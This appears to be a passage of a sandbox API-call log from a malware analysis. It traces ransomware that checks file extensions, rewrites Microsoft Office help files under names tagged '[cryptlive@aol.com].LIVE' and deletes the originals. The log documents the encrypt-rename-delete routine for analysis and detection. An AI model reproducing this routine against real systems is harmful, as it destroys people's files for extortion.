[0142.790] lstrlenW (lpString=".bz2") returned 4 [0142.790] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.790] lstrlenW (lpString=".7z") returned 3 [0142.790] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString=".dbf") returned 4 [0142.790] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString=".1cd") returned 4 [0142.790] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString=".jpg") returned 4 [0142.790] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString=".doc") returned 4 [0142.791] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.791] lstrlenW (lpString=".docx") returned 5 [0142.791] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0142.791] lstrlenW (lpString=".pdf") returned 4 [0142.791] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.791] lstrlenW (lpString=".xls") returned 4 [0142.791] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.791] lstrlenW (lpString=".xlsx") returned 5 [0142.791] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0142.791] lstrlenW (lpString=".ppt") returned 4 [0142.791] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString=".zip") returned 4 [0142.791] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.791] lstrlenW (lpString=".rar") returned 4 [0142.791] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.791] lstrlenW (lpString=".bz2") returned 4 [0142.791] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.791] lstrlenW (lpString=".7z") returned 3 [0142.791] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString=".dbf") returned 4 [0142.791] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString=".1cd") returned 4 [0142.791] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.791] lstrlenW (lpString=".jpg") returned 4 [0142.791] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.791] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.792] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0142.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.792] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=205) returned 1 [0142.792] CloseHandle (hObject=0x1e4) returned 1 [0142.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 0x20 [0142.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.792] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.793] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.793] GetLastError () returned 0x0 [0142.793] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xcd, lpOverlapped=0x0) returned 1 [0142.794] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0142.795] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.795] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0142.795] SetEndOfFile (hFile=0x1dc) returned 1 [0142.795] CloseHandle (hObject=0x1dc) returned 1 [0142.795] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.796] SetEndOfFile (hFile=0x1e4) returned 1 [0142.798] CloseHandle (hObject=0x1e4) returned 1 [0142.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 1 [0142.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.799] lstrlenW (lpString=".doc") returned 4 [0142.799] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.799] lstrlenW (lpString=".docx") returned 5 [0142.799] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.799] lstrlenW (lpString=".pdf") returned 4 [0142.799] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.799] lstrlenW (lpString=".xls") returned 4 [0142.799] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.799] lstrlenW (lpString=".xlsx") returned 5 [0142.799] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.799] lstrlenW (lpString=".ppt") returned 4 [0142.799] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.799] lstrlenW (lpString=".zip") returned 4 [0142.799] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.799] lstrlenW (lpString=".rar") returned 4 [0142.799] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.799] lstrlenW (lpString=".bz2") returned 4 [0142.799] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.799] lstrlenW (lpString=".7z") returned 3 [0142.799] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.799] lstrlenW (lpString=".dbf") returned 4 [0142.800] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".1cd") returned 4 [0142.800] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".jpg") returned 4 [0142.800] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".doc") returned 4 [0142.800] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString=".docx") returned 5 [0142.800] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.800] lstrlenW (lpString=".pdf") returned 4 [0142.800] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString=".xls") returned 4 [0142.800] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString=".xlsx") returned 5 [0142.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.800] lstrlenW (lpString=".ppt") returned 4 [0142.800] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".zip") returned 4 [0142.800] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString=".rar") returned 4 [0142.800] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.800] lstrlenW (lpString=".bz2") returned 4 [0142.800] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString=".7z") returned 3 [0142.800] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".dbf") returned 4 [0142.800] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.800] lstrlenW (lpString=".1cd") returned 4 [0142.800] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0142.801] lstrlenW (lpString=".jpg") returned 4 [0142.801] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.801] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.801] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0142.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.801] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=114) returned 1 [0142.801] CloseHandle (hObject=0x1e4) returned 1 [0142.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 0x20 [0142.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.802] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.802] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.802] GetLastError () returned 0x0 [0142.802] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.803] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.804] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.804] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0142.804] SetEndOfFile (hFile=0x1dc) returned 1 [0142.804] CloseHandle (hObject=0x1dc) returned 1 [0142.804] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.805] SetEndOfFile (hFile=0x1e4) returned 1 [0142.810] CloseHandle (hObject=0x1e4) returned 1 [0142.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 1 [0142.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.814] lstrlenW (lpString=".doc") returned 4 [0142.814] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.814] lstrlenW (lpString=".docx") returned 5 [0142.814] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.814] lstrlenW (lpString=".pdf") returned 4 [0142.814] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.814] lstrlenW (lpString=".xls") returned 4 [0142.814] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.814] lstrlenW (lpString=".xlsx") returned 5 [0142.814] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.814] lstrlenW (lpString=".ppt") returned 4 [0142.814] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.814] lstrlenW (lpString=".zip") returned 4 [0142.814] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.814] lstrlenW (lpString=".rar") returned 4 [0142.814] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.814] lstrlenW (lpString=".bz2") returned 4 [0142.815] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.815] lstrlenW (lpString=".7z") returned 3 [0142.815] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".dbf") returned 4 [0142.815] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".1cd") returned 4 [0142.815] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".jpg") returned 4 [0142.815] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".doc") returned 4 [0142.815] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.815] lstrlenW (lpString=".docx") returned 5 [0142.815] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.815] lstrlenW (lpString=".pdf") returned 4 [0142.815] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString=".xls") returned 4 [0142.815] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString=".xlsx") returned 5 [0142.815] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.815] lstrlenW (lpString=".ppt") returned 4 [0142.815] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".zip") returned 4 [0142.815] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString=".rar") returned 4 [0142.815] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.815] lstrlenW (lpString=".bz2") returned 4 [0142.815] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.815] lstrlenW (lpString=".7z") returned 3 [0142.815] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.815] lstrlenW (lpString=".dbf") returned 4 [0142.816] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.816] lstrlenW (lpString=".1cd") returned 4 [0142.816] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0142.816] lstrlenW (lpString=".jpg") returned 4 [0142.816] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.816] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.816] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0142.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.816] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0142.816] CloseHandle (hObject=0x1e4) returned 1 [0142.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 0x20 [0142.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.817] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.817] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.818] GetLastError () returned 0x0 [0142.818] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.819] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.819] ReadFile (in: hFile=0x1e4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.819] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0142.820] SetEndOfFile (hFile=0x1dc) returned 1 [0142.820] CloseHandle (hObject=0x1dc) returned 1 [0142.820] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.820] SetEndOfFile (hFile=0x1e4) returned 1 [0142.822] CloseHandle (hObject=0x1e4) returned 1 [0142.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 1 [0142.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.823] lstrlenW (lpString=".doc") returned 4 [0142.823] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.823] lstrlenW (lpString=".docx") returned 5 [0142.823] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.823] lstrlenW (lpString=".pdf") returned 4 [0142.823] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.823] lstrlenW (lpString=".xls") returned 4 [0142.823] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.823] lstrlenW (lpString=".xlsx") returned 5 [0142.823] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.823] lstrlenW (lpString=".ppt") returned 4 [0142.823] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.823] lstrlenW (lpString=".zip") returned 4 [0142.823] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.823] lstrlenW (lpString=".rar") returned 4 [0142.823] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString=".bz2") returned 4 [0142.824] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.824] lstrlenW (lpString=".7z") returned 3 [0142.824] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString=".dbf") returned 4 [0142.824] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString=".1cd") returned 4 [0142.824] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString=".jpg") returned 4 [0142.824] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 